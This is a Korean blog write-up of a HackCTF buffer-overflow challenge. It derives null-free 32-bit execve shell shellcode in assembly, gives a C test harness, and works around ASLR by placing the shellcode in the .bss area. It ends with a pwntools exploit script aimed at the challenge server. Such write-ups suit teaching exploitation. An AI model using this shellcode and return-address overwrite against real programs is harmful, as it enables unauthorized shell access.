본문 바로가기

정보보안

[문제해결] HackCTF 내 버퍼가 흘러넘친다!!! 해결과정

 

main 함수 어셈블리어 변환 결과

 

예상 코드는 다음과 같다.

1: setvbuf(0,2,0);

2: printf("Name : ");

3: read(0,name,0x32);

4: gets(&(ebp+var_14));

 

printf를 통해서 fsb 취약점을 이용하는것은 불가능해 보인다.

일단 name의 위치가 어디인지 봐야겠다.

0x20만큼의 그냥 별개의 공간이다. 딱히 쓸 일은 아직 없어보인다.

 

read함수에서도 문자열을 별개의 공간으로 보내버리니 gets함수 부분에서 버퍼오버플로우를 이용하는 방법밖에 없는것 같다.

 

 

stack

 

gets함수가 실행될때쯤 스택 모양이다. 현재 상황에서 함수의 흐름을 바꿀 수 있을만한곳은 +4 부분에 있는 return address이다. 

 

return address를 통해서 원하는 방향으로 점프를 해야할것 같다.

 

function list

하지만 함수 목록을 보니 딱히 넘어갈 지점이 보이지 않았다.

 

이것저것 알아보다가 사용할 수 있는 빈 공간속에 어셈블리 코드를 끼워 넣을 수 있다는 사실을 알게 되었다.

설마 어셈블리 코드를 직접 쳐야하는걸까? 그렇다. 이해하는데 한참 걸리긴 했지만, 결국 함수의 구조만 알면 충분히 어셈블리 코드를 작성할 수 있다는 사실을 알았다.

 

빈 공간 안에 넣어야 할 함수는 쉘을 불러오는 함수를 넣어야 한다. system 함수가 가장 먼저 떠올랐지만, execve로 코드 길이를 훨씬 줄일 수 있다는 사실을 알았다. system함수에 execve가 포함되어 있기 때문이다. 

 

이번에 넣어야 할 함수는 이것이다.

execve("/bin/bash",0,0);

테스트를 위해 c 프로그램을 작성하고

include <unistd.h>
int main(){
char code[10] = "/bin/sh";
execve(code,NULL,NULL);
}

 

disas 함수를 살펴봐야겠다.

+17에서 저장하는것은 system call number인데, 운영체제에 무엇을 요청할 지 저장하는 코드라고 한다.

execve의 경우 0xb로 지정이 되어있다고 한다.

 

+22 부분에서는 int 0x80을 통해 eax에 있는 번호를 가지고 system call을 수행한다.

 

ebx, edx, ecx에 값들을 각각 저장하는데 system call 바로 전에 break point를 걸어서 무슨 일이 있는지 살펴봐야겠다.

 

레지스터 값들

들어있는 값들은

eax : system call number

ebx : /bin/sh 문자열 주소(0xffffd1b6) -> x/x 0xffffd1b6을 통해 문자열이 저장되어있음을 알 수 있다.

ecx : NULL

edx : NULL

이렇게 저장되어 있다.

 

스택에는 어떤 식으로 저장되어야 하냐면

4바이트씩 끊어서 이런식으로 저장되어야 하고

저 /bin의 시작주소를 ebx가 가리켜야한다.

 

이제 이거를 어셈블리 코드를 통해 재현하면 된다.(이거 이해하는데 하루 넘게 걸렸다...ㅎ)

 

 

<assembly code - assem.s>

section .text

global _start

_start
xor eax,eax
push eax
push 0x68732f2f
push 0x6e69622f
mov ebx,esp
xor ecx,ecx
xor edx,edx
mov al,0xb
int 0x80

 

 

1~4번까지는 /bin//bash/0을 스택에 넣는 코드이다. 굳이 0을 직접 안넣고 xor을 통해서 넣은 이유는 0을 직접 넣게되면 나중에 쉘코드에 0이 포함되기 때문인데, 0이 포함되면 gets에서 읽을때 널문자로 인식해서 중간에 끊겨버리는 문제가 발생한다..

 

스택에 다 넣게되면 esp는 문자열 시작 주소를 가리키게 되므로 5번줄에서 esp의 주소를 ebx에 넣어 준다.

함수의 두번째 세번째 인자는 모두 null이기 때문에 xor을 통해 ecx, edx에 null을 뜻하는 0을 넣어준다

 

6번줄은 system call 번호를 넣는것인데, 원래 mov eax,0xb로 넣어도 되지만 이 경우에도 쉘코드에 0이 생기게 된다. 다라서 eax의 일부분인 al에 0xb를 넣는 것이다.(mov al,0xb는 eax의 일부분만 건드리기 때문에 제대로 동작을 의도하기 위해서 1번줄에서 eax를 그냥 초기화 시켰다.)

 

만약 0이 생겨도 상관없었다면

 

section .text

global _start

_start

xor ecx, ecx
push ecx
push 0x68732f2f
push 0x6e69622f
mov ebx,esp
xor ecx,ecx
xor edx,edx
mov eax,0xb
int 0x80

 

예를 들어 이런식으로 굳이 eax를 초기화하지 않아도 될 뻔했다.

 

이제 저걸 기계어 코드로 바꿔야한다.(도움받은곳 : [Pwnable ] Return Address Overwrite 실습 (tistory.com))

nasm -f elf assem.s
objcopy --dump-section .text=assem.bin assem.o
hexdump -v -e '"\\\x" /1 "%02x"' assem.bin

 

이러면 결과값으로

 

\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc9\x31\xd2\xb0\x0b\xcd\x80

 

이런 문자가 뜰것이다. 이런 문자를 입력시켜서 명령을 실행한다는 사실이 참 신기했다.

 

이제 제대로 작동하는지 테스트를 해야한다.

보안이 강화되서인지 최근에 나온 리눅스 운영체제에서는 아래와 같은 코드를 사용해서 쉘 코드가 될 수 있도록 만들어야한다.(Segmentation fault when testing shellcode - Stack Overflow)

 

#include <sys/mman.h>
#include <errno.h>

char shellcode[] = "[방금 점 추출한 쉘코드]";
void main() {
  char *buf;
  int prot = PROT_READ | PROT_WRITE | PROT_EXEC;
  int flags = MAP_PRIVATE | MAP_ANONYMOUS;

  buf = mmap(0, sizeof(shellcode), prot, flags, -1, 0);
  memcpy(buf, shellcode, sizeof(shellcode));

  ((void (*)(void))buf)();
}

 

테스트 결과 이런식으로 쉘이 나오면

쉘코드가 제대로 작성된 것이다.

 

이제 저걸 프로그램에 씌워야 한다.

 

위 사진을 참고하면 var_14~return address 직전까지 쓸 수 있기 때문에 총 24바이트만큼 쉘 코드를 쓸 수 있다.

만든 쉘코드의 길이는 23바이트 길이이므로 쓰기가 가능하다.

 

return address는 gets가 입력 받는 부분으로 지정하면 될것같다.

 

입력받는 부분도.. 직접 구해야할것 같다.

disas main 결과
bp 걸고 실행해보기

gdb로 gets바로 뒷부분에 breakpoint를 걸어서 입력받은 문자열이 어디로 가는지 체크했다.(첫번째 bp는 잘못 걸었다...)

 

주소는 0xffffd1e4이다. 저 명령어는 esp가 가리키는 위치로부터 4*20바이트 만큼의 메모리를 볼 수 있는 명령어이다.

 

이제 필요한 것들을 다 구했다.

입력값은

\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc9\x31\xd2\xb0\x0b\xcd\x80A0xffffd1e4

 

가 될것이다. 쉘코드+dummy 1바이트+return주소를 한번에 이어붙인 것이다.

 

그런데 한가지를 놓친게 있었다.

첫 실행때 ebp~+20

esp의 위치가 계속 달라진다. 즉, 스택의 위치는 실행때마다 계속 변하는 것이다. 따라서 위에서 구한 return address는 잘못된 것이다.(찾아보니 이것을 ASLR이라고 한다.)

 

하지만 ASLR이 있다 해도(참고 : 1.3 변수와 메모리 모델 (aerocode.net)) 전역변수가 저장되는 영역은 위치가 변하지 않는다고 했다.(덕분에 프로그램 코드가 어디에 위치하는지에 대한 궁금증도 해결할 수 있었다.) 따라서 쉘코드를 전역변수인 name(위 사진을 보면 name이 위치한 곳이bss영역이라고 표시가 되어있었음)에다가 쓰고,  return address를 name의 주소로 하면 될것 같았다.

쉘코드를 쓰기에 충분한 공간이다. 시작주소는 0804A060이다.

이제 이걸 기반으로 입력값을 다시 설정해야한다.

name에는 쉘코드를 쓰고, gets에는 24바이트의 아무 데이터(0 제외)+0x0804A060을 입력하면 될것같다.

name : \x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc9\x31\xd2\xb0\x0b\xcd\x80
input : {A}*24 + 0x0804A060

 

 

<python code>

from pwn import *
p = remote('ctf.j0n9hyun.xyz', 3003)


print(p.recv(timeout=1).decode())


p.sendline("\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc9\x31\xd2\xb0\x0b\xcd\x80")

data = b"A" * 24
data += p32(0x0804A060)
p.send(data)

#p.interactive() 생략

 

 

<결과>

성공!

이 문제를 풀기 위해 쉘코드를 위한 어셈블리어 작성부터 libc address, bss 영역에까지 매우 다양한 것을 알아보았다.

투자한 시간만큼 많은 것을 알아가게 되었으니 다행이었다.

다음문제에서는 새로운것을 또 얼마나 많이 알아가게 될까?